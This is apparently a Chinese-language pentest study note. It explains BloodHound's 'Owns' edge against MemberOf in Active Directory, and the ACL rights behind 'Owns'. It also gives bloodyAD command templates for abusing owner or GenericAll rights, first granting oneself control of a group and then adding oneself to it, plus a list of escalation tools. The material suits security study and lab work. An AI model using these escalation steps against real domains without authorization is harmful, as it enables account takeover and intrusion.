域渗透 – BloodHound Owns 详解

域渗透 – BloodHound Owns 详解

Owns vs MemberOf:核心区别

属性OwnsMemberOf
含义你对这个对象有”管理控制权”你在这个组里
底层ACL 上的 Owner / GenericAll / WriteDACL / WriteOwnerGroup 对象的 member 属性
效果可以改权限、重置密码、加人继承该组的权限/特权
类比你是房东,想怎么改怎么改你是业主,享受权益但不能改管理规则

一句话总结:

Owns = 你能控制它(写权限)
MemberOf = 你从它那里获得权限(读/继承)


Owns 的三种底层 ACL 权限

BloodHound 显示 Owns 连接线,可能来自三种 ACL 权限之一:

Owns 的底层 ACL 
├── GenericAll      → ✅ 可直接 groupMember add
├── WriteDACL       → ❌ 不能直接加,但可以改 ACL
└── WriteOwner      → ❌ 只能改拥有者

⚠️ 常见陷阱: BloodHound 说 “Owns” 不代表你就能直接改 member。必须点开 BloodHound 详情面板查看具体是哪一种权限。

如何查看具体权限

在 BloodHound GUI 中:

  1. 点击 Owns 连接线
  2. 右侧详情面板看 “Abuse Info”
  3. 看显示的具体 Edge 类型(GenericAll / WriteDACL / WriteOwner)

关键知识点英文原文

“Object owners retain the ability to modify object security descriptors, regardless of permissions on the object’s DACL.”

逐词拆解:

单词/短语发音意思域渗透场景含义
ownership/ˈoʊnərʃɪp/所有权、拥有者身份你不是”有权限”而是”就是主人”
retain/rɪˈteɪn/保留、依然持有不管别人怎么改 ACL,你始终有这能力
ability/əˈbɪləti/能力技术上的可能性
modify/ˈmɑːdɪfaɪ/修改增删改对象的属性
security descriptor/sɪˈkjʊrəti dɪˈskrɪptər/安全描述符对象的”权限身份证”
regardless of/rɪˈɡɑːrdləs əv/不管、无论后面的条件无效
DACLDiscretionary Access Control List“谁有什么权限的规则表”
insufficient access rights/ˌɪnsəˈfɪʃənt/权限不足LDAP 修改操作无权限

白话翻译:

你是这个组的”主人”。主人天生有权改这个组的权限设置,哪怕规则表上写着”主人不能干这事”——你不受这个规则限制。


攻击路径实操

Owner 权限(最常见陷阱)

场景:用户 --Owner--> 目标组
直接操作 → ❌ insufficientAccessRights

正确做法:两步走

# 第一步:用 Owner 特权给自己授权 GenericAll
bloodyAD -d 域名 -u 用户 --host DC_IP -k \
    add genericAll "CN=目标组,CN=Users,DC=域名,DC=com" 用户

# 第二步:把自己加进组
bloodyAD -d 域名 -u 用户 --host DC_IP -k \
    add groupMember "目标组" 用户

GenericAll 权限(直接加)

# 一步到位
bloodyAD -d 域名 -u 用户 --host DC_IP -k \
    add groupMember "目标组" 用户

工具推荐

场景推荐工具
Linux (Kali) — ACL 操作bloodyAD(专门针对 ACL 滥用)
Linux — 暴力提权dcomexec.py(impacket 系列)
Linux — Samba 自带net rpc group addmem
Windows — PowerViewAdd-DomainGroupMember
Windows — 原生 AD 模块Add-ADGroupMember

bloodyAD 常用命令参考

# 语法
bloodyAD -d 域名 -u 用户名 --host DC_IP [-p 密码 | -k] add/remove groupMember 目标组 用户
bloodyAD -d 域名 -u 用户名 --host DC_IP [-p 密码 | -k] add/remove genericAll 目标DN 用户

# 参数说明
# -k     → Kerberos 认证(已有 TGT)
# -p     → NTLM 密码认证
# --host → 域控 IP
# --dns  → DNS 服务器(可选,与 host 冲突时补)

关联笔记

文末附加内容

评论

本文评论已关闭
上一篇